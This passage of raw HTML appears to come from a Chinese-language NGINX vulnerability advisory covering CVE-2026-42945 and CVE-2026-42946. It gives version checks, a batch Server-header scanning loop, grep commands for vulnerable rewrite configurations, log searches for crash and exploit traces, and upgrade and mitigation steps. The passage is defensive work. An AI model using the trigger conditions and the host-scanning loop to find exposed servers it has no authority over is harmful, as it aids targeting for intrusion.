Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 本地最准确检查</span></span><span leaf=""><br/></span><span leaf="">nginx -v</span><span leaf=""><br/></span><span leaf="">nginx -V</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 远程通过 Header 检查</span></span><span leaf=""><br/></span><span leaf="">curl -sI <a href="https://your-domain.com/" target="_blank">https://your-domain.com/</a> 2&gt;/dev/null | grep -i </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;^Server:&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 批量扫描（推荐）</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">while</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">read</span></span><span leaf=""> host; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">do</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">echo</span></span><span leaf=""> -n </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$host</span></span><span leaf=""> | &#34;</span></span><span leaf=""><br/></span><span leaf="">  curl -skI --max-time 5 </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;https://</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$host</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null | grep -i </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;^Server:&#34;</span></span><span leaf=""> || </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">echo</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;无法访问或 Server 头已隐藏&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">done</span></span><span leaf=""> &lt; host_list.txt</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">判定标准：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 版本在 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">0.6.27 ~ 1.30.0</span></strong><span leaf=""> 之间（含 NGINX Plus R32~R36）→ </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">受影响，立即升级</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 版本 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">≥ 1.30.1</span></strong><span leaf=""> 或 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">≥ 1.31.0</span></strong><span leaf=""> → 已修复</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">第 2 步：模块与编译选项检查</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 查看已编译模块</span></span><span leaf=""><br/></span><span leaf="">nginx -V 2&gt;&amp;1 | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">tr</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39; &#39;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;\n&#39;</span></span><span leaf=""> | grep --color=never -E </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;module|http_rewrite|http_scgi|http_uwsgi|http_charset|http_ssl&#39;</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">第 3 步：配置触发条件检查（最核心！）</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 查找含 ? 的 rewrite + 匿名捕获组</span></span><span leaf=""><br/></span><span leaf="">grep -rnE </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;rewrite\s+.*\?.*\$[0-9]&#39;</span></span><span leaf=""> /etc/nginx/ --include=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;*.conf&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 查找所有匿名捕获组使用</span></span><span leaf=""><br/></span><span leaf="">grep -rnE </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;\$([1-9][0-9]?)&#39;</span></span><span leaf=""> /etc/nginx/ --include=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;*.conf&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 SCGI/uWSGI（CVE-2026-42946）</span></span><span leaf=""><br/></span><span leaf="">grep -rnE </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;scgi_pass|uwsgi_pass&#39;</span></span><span leaf=""> /etc/nginx/ --include=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;*.conf&#34;</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">第 4 步：日志异常检查</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># worker 崩溃记录</span></span><span leaf=""><br/></span><span leaf="">grep -E </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;exited on signal|segfault|signal 11|worker process&#34;</span></span><span leaf=""> /var/log/nginx/error.log | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">tail</span></span><span leaf=""> -30</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 可疑 URI 请求</span></span><span leaf=""><br/></span><span leaf="">grep -E </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;(\+|%26|%25)&#34;</span></span><span leaf=""> /var/log/nginx/access.log | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">tail</span></span><span leaf=""> -50</span></code></pre><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">修复建议</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">首选：立即升级 NGINX</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># CentOS / RHEL</span></span><span leaf=""><br/></span><span leaf="">yum update nginx</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># Ubuntu / Debian</span></span><span leaf=""><br/></span><span leaf="">apt update &amp;&amp; apt install nginx</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># Docker</span></span><span leaf=""><br/></span><span leaf="">docker pull nginx:1.31.0</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 验证</span></span><span leaf=""><br/></span><span leaf="">nginx -v   </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 确保 &gt;= 1.30.1</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">临时缓解（无法立即升级时）</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">针对 CVE-2026-42945，最有效的办法是把匿名捕获组改成 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">named captures</span></strong><span leaf="">：</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 推荐写法</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">rewrite</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf=""> ^/users/(?&lt;user_id&gt;[0-9]+)/profile/(?&lt;section&gt;.*)$</span></span><span leaf=""> /profile.php?id=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$user_id</span></span><span leaf="">&amp;tab=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$section</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">last</span></span><span leaf="">;</span></code></pre><hr style="box-sizing: border-box;border-width: medium;border-style: none;border-color: currentcolor;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);border-image: initial;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">参考链接：</span></strong></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">DepthFirst 官方技术分析</span></span><span leaf=""><a href="https://github.com/DepthFirstDisclosures/Nginx-Rift" target="_blank">https://github.com/DepthFirstDisclosures/Nginx-Rift</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 